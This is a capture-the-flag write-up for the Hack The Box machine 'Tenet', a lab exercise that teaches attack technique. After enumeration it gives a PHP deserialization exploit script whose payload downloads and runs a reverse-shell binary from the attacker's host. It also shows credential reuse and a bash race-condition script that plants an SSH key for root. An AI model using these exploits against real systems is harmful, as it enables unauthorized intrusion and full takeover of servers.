Jump Ahead: Enum – User – Root – Resources
TL;DR;
To solve this machine, we begin by enumerating exposed services – finding ports 22
and 80
open. While enumerating the webserver, we find a WordPress site accessible via a virtual host. From a post, we find information on hidden files, which allows us to discover a php serialization vulnerability. Exploiting the vulnerability, we are able to get a reverse shell as www-data
. Through local enumeration, we find credentials for neil
, and use them to log in – getting user.txt
. As neil
, we are able to run a script as root
. We are able to exploit the script to gain a shell as root
– allowing access to root.txt
.
Enumeration
Like all machines, we begin by enumerating exposed ports with nmap
– finding ports 22
and 80
open.
$ sudo nmap -v -p- --min-rate 3000 $RHOST
[...]
$ sudo nmap -v -sV -A -p 22,80 --min-rate 3000 -oA enum/nmap/tcp-scripts $RHOST
# Nmap 7.91 scan initiated Mon Jan 18 21:40:16 2021 as: nmap -v -sV -A -p- --min-rate 3000 -oA enum/nmap/tcp-scripts 10.129.85.217
Nmap scan report for 10.129.85.217
Host is up (0.043s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 cc:ca:43:d4:4c:e7:4e:bf:26:f4:27:ea:b8:75:a8:f8 (RSA)
| 256 85:f3:ac:ba:1a:6a:03:59:e2:7e:86:47:e7:3e:3c:00 (ECDSA)
|_ 256 e7:e9:9a:dd:c3:4a:2f:7a:e1:e0:5d:a2:b0:ca:44:a8 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_ Supported Methods: OPTIONS HEAD GET POST
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.91%E=4%D=1/18%OT=22%CT=1%CU=32962%PV=Y%DS=2%DC=T%G=Y%TM=600654D
OS:2%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=10C%TI=Z%CI=Z%II=I%TS=A)OPS
OS:(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST1
OS:1NW7%O6=M54DST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN
OS:(R=Y%DF=Y%T=40%W=FAF0%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A
OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R
OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F
OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%
OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD
OS:=S)
Uptime guess: 7.566 days (since Mon Jan 11 08:05:40 2021)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=261 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 3389/tcp)
HOP RTT ADDRESS
1 42.16 ms 10.10.14.1
2 42.43 ms 10.129.85.217
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jan 18 21:41:06 2021 -- 1 IP address (1 host up) scanned in 50.50 seconds
Next, we use gobuster
to enumerate the webserver for files and directories, which finds the /wordpress
directory. By going to http://10.129.85.217/wordpress/
, we are presented with a WordPress site, however, the CSS does not render correctly.
After clicking the “Tenet” link, we are redirected to http://tenet.htb
, but are unable to access it due to it not being a resolvable domain. After adding an entry for the domain in /etc/hosts
, we are able to view the WordPress site with valid CSS. Next, we look at the source code, and see WordPress version 5.6
is installed based on the “generator” meta tag. Lastly, we run wpscan
to enumerate the site for us, learning there are 2 registered users – neil
and protagonist
.
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.11
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[i] It seems like you have not updated the database for some time.
[?] Do you want to update now? [Y]es [N]o, default: [N][+] URL: http://tenet.htb/ [10.129.85.217]
[+] Started: Mon Jan 18 21:55:34 2021
Interesting Finding(s):
[+] Headers
| Interesting Entry: Server: Apache/2.4.29 (Ubuntu)
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://tenet.htb/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access
[+] WordPress readme found: http://tenet.htb/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] Upload directory has listing enabled: http://tenet.htb/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://tenet.htb/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
Fingerprinting the version -: |============================================================================================================================================================|
[i] The WordPress version could not be detected.
[+] WordPress theme in use: twentytwentyone
| Location: http://tenet.htb/wp-content/themes/twentytwentyone/
| Readme: http://tenet.htb/wp-content/themes/twentytwentyone/readme.txt
| Style URL: http://tenet.htb/wp-content/themes/twentytwentyone/style.css?ver=1.0
| Style Name: Twenty Twenty-One
| Style URI: https://wordpress.org/themes/twentytwentyone/
| Description: Twenty Twenty-One is a blank canvas for your ideas and it makes the block editor your best brush. Wi...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Found By: Css Style In Homepage (Passive Detection)
|
| Version: 1.0 (80% confidence)
| Found By: Style (Passive Detection)
| - http://tenet.htb/wp-content/themes/twentytwentyone/style.css?ver=1.0, Match: 'Version: 1.0'
[+] Enumerating All Plugins (via Passive Methods)
[i] No plugins Found.
[+] Enumerating All Themes (via Passive and Aggressive Methods)
Checking Known Locations -: |=============================================================================================================================================================|
[+] Checking Theme Versions (via Passive and Aggressive Methods)
[i] Theme(s) Identified:
[+] twentynineteen
| Location: http://tenet.htb/wp-content/themes/twentynineteen/
| Latest Version: 1.7 (up to date)
| Last Updated: 2020-08-11T00:00:00.000Z
| Readme: http://tenet.htb/wp-content/themes/twentynineteen/readme.txt
| Style URL: http://tenet.htb/wp-content/themes/twentynineteen/style.css
| Style Name: Twenty Nineteen
| Style URI: https://wordpress.org/themes/twentynineteen/
| Description: Our 2019 default theme is designed to show off the power of the block editor. It features custom sty...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Found By: Known Locations (Aggressive Detection)
| - http://tenet.htb/wp-content/themes/twentynineteen/, status: 500
|
| Version: 1.8 (80% confidence)
| Found By: Style (Passive Detection)
| - http://tenet.htb/wp-content/themes/twentynineteen/style.css, Match: 'Version: 1.8'
[+] twentytwenty
| Location: http://tenet.htb/wp-content/themes/twentytwenty/
| Latest Version: 1.5 (up to date)
| Last Updated: 2020-08-11T00:00:00.000Z
| Readme: http://tenet.htb/wp-content/themes/twentytwenty/readme.txt
| Style URL: http://tenet.htb/wp-content/themes/twentytwenty/style.css
| Style Name: Twenty Twenty
| Style URI: https://wordpress.org/themes/twentytwenty/
| Description: Our default theme for 2020 is designed to take full advantage of the flexibility of the block editor...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Found By: Known Locations (Aggressive Detection)
| - http://tenet.htb/wp-content/themes/twentytwenty/, status: 500
|
| Version: 1.6 (80% confidence)
| Found By: Style (Passive Detection)
| - http://tenet.htb/wp-content/themes/twentytwenty/style.css, Match: 'Version: 1.6'
[+] twentytwentyone
| Location: http://tenet.htb/wp-content/themes/twentytwentyone/
| Readme: http://tenet.htb/wp-content/themes/twentytwentyone/readme.txt
| Style URL: http://tenet.htb/wp-content/themes/twentytwentyone/style.css
| Style Name: Twenty Twenty-One
| Style URI: https://wordpress.org/themes/twentytwentyone/
| Description: Twenty Twenty-One is a blank canvas for your ideas and it makes the block editor your best brush. Wi...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Found By: Urls In Homepage (Passive Detection)
|
| Version: 1.0 (80% confidence)
| Found By: Style (Passive Detection)
| - http://tenet.htb/wp-content/themes/twentytwentyone/style.css, Match: 'Version: 1.0'
[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs -: |=============================================================================================================================================================|
[i] User(s) Identified:
[+] protagonist
| Found By: Author Posts - Author Pattern (Passive Detection)
| Confirmed By:
| Rss Generator (Passive Detection)
| Wp Json Api (Aggressive Detection)
| - http://tenet.htb/index.php/wp-json/wp/v2/users/?per_page=100&page=1
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] neil
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 50 daily requests by registering at https://wpscan.com/register
[+] Finished: Mon Jan 18 21:59:32 2021
[+] Requests Done: 22222
[+] Cached Requests: 53
[+] Data Sent: 5.554 MB
[+] Data Received: 21.543 MB
[+] Memory used: 270.926 MB
[+] Elapsed time: 00:03:57
Getting User
Navigating around the site, we go to the “Migration” post, and see a comment with possible information disclosure. In particular, neil
mentions 2 files, “satur php file” and its backup. Next, we try to access http://
, and are presented with some interesting output. Next, we try to access <machine-ip>
/sator.phphttp://
, and are allowed to download what might be a backup file for <machine-ip>
/sator.php.baksator.php
. After looking at the backup file, we confirm it may definitely be the source code of sator.php
.
Some notes we should make are that the file accepts a GET
request argument called “arepo”. The input supplied in the argument is then used with the php “unserialize()” function. Additionally, the “DatabaseExport” class writes text to a users.txt
file. Researching “php serialization exploit”, we eventually find this article that walks us through overwriting a class via the “unserialize()” function. The article essentially states that to overwrite the class, and weaponize it to exploit the machine, we can just pass a malicious serialized version of the class to the “unserialize()” function. For this, we can clone sator.php.bak
, change the $user_file
from users.txt
(can be anything), and change the data
of the file we are writing to upload a reverse shell, set the reverse shell’s permissions, and run it. For my reverse shell, I generated one using msfvenom
. Once these edits are made, we can set the script to print out the serialized version of the class.
# malrialize.php
<?php
class DatabaseExport
{
public $user_file = 'khaotic.php';
public $data = '';
public function update_db()
{
$this-> data = '<?php passthru("wget http://10.10.14.3/revshell.bin");chmod(__DIR__."/revshell.bin",0777);passthru(__DIR__."/revshell.bin"); ?>';
}
public function __destruct()
{
file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
}
}
$app = new DatabaseExport;
$app -> update_db();
echo serialize($app);
?>
Using php
to run the script we made, we get the serialized version of the malicious class. Before we try to exploit the webserver, we need to start a reverse shell handler. Next, we pass the malicious serialized class to the “arepo” argument on the remote sator.php
file – http://<machine-ip>/sator.php?arepo=<serialized malicious class>
. Doing so, we get a reverse shell as the www-data
user.
Having gotten a reverse shell, we want to grab credentials we know exist. Because WordPress is in use, we can quickly grab the database credentials. Seeing as the database user’s name is neil
, we check that this is also a system user. As it is, we use the su command to attempt the use the password and gain access as neil
. Having done so, we are granted a shell as neil
, and can now read user.txt
.
user.txt
Getting Root
Having logged into the machine as neil
, we use sudo
to check if we are able to use any commands or scripts as other users. Doing so, we see that we are able to run /usr/local/bin/enableSSH.sh
as the root
user without needing to supply a password.
Looking at the script, we see that it writes an ssh-key to a temporary file, and copies that file to root
‘s SSH authorized keys file.
enableSSH
scriptAs CPU operations are not instantaneous (our processors are just really fast), there exists a race condition vulnerability. In order to exploit it, we would have to find the temporary file that is created and write our own public SSH key to it – allowing us to SSH into the machine as root. Looking at the “addkey()” function, we see that the temporary file will start with ssh-
and will be located in the /tmp/
folder. That being said, we can write a script to list files in /tmp/
that match the pattern, and write our own ssh public key to the file. To generate a public key, we can use ssh-keygen
and grab it from the generated id_rsa.pub
file.
#!/bin/bash
##############################
# ssh_exploit.sh by Khaotic
##############################
while [[ 1 ]]; do
sudo /usr/local/bin/enableSSH.sh &>/dev/null &
vfile=`ls -l /tmp/ssh-* 2>/dev/null | awk '{print $9}'`
if [[ -n $vfile ]]; then
for file in $vfile; do
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDR7imN0w1FJim8Yu1RYBSd7kuKDFww6Lct1JroNkA9++iW/ESZBXExZTaGSARP2CUtZA06ZkgOa6BdhLxRGmiOBZNBOxsGq7Z8TuixCcpsHoDNe4ix1fqMfXM3Cb5cO+RY6QyZeLbvmu4aU7dsfRemqzNiFx6g1nNLbdoYZH+gpE2AFwQ/N9Ueko7Qj/s6ffR99r7LcLR3vsNBFdO51q0sy3uJq5UgHUqxQPSPTdQ8/yEiaCu24uZW6ASDTuwKLfw3FETIGGFuKo6wcM8YKgSo5Vc/n6RBJVhCHqiWpR5XYfXbERtWAsgHAIknkgfFVb81FQRx5GuQ9MHz0mSISmxp khaotic@kali' >> $file
#echo "Got $vfile! Try to ssh as root now"
done
# exit 1337
fi
done
Once we create the script, we upload it to the remote machine and execute it. Since it’s in a loop, we shouldn’t have issues with our SSH key being overwritten. Lastly, we attempt to SSH into the machine as root using the private key we generated (id_rsa
). Doing so, we get access as root
, and therefore can now read root.txt
.
root.txt
Thank you for taking the time to read my write-up. I am interested in other ways this machine has been solved. Feel free to reach out to me and we can discuss it. Thanks!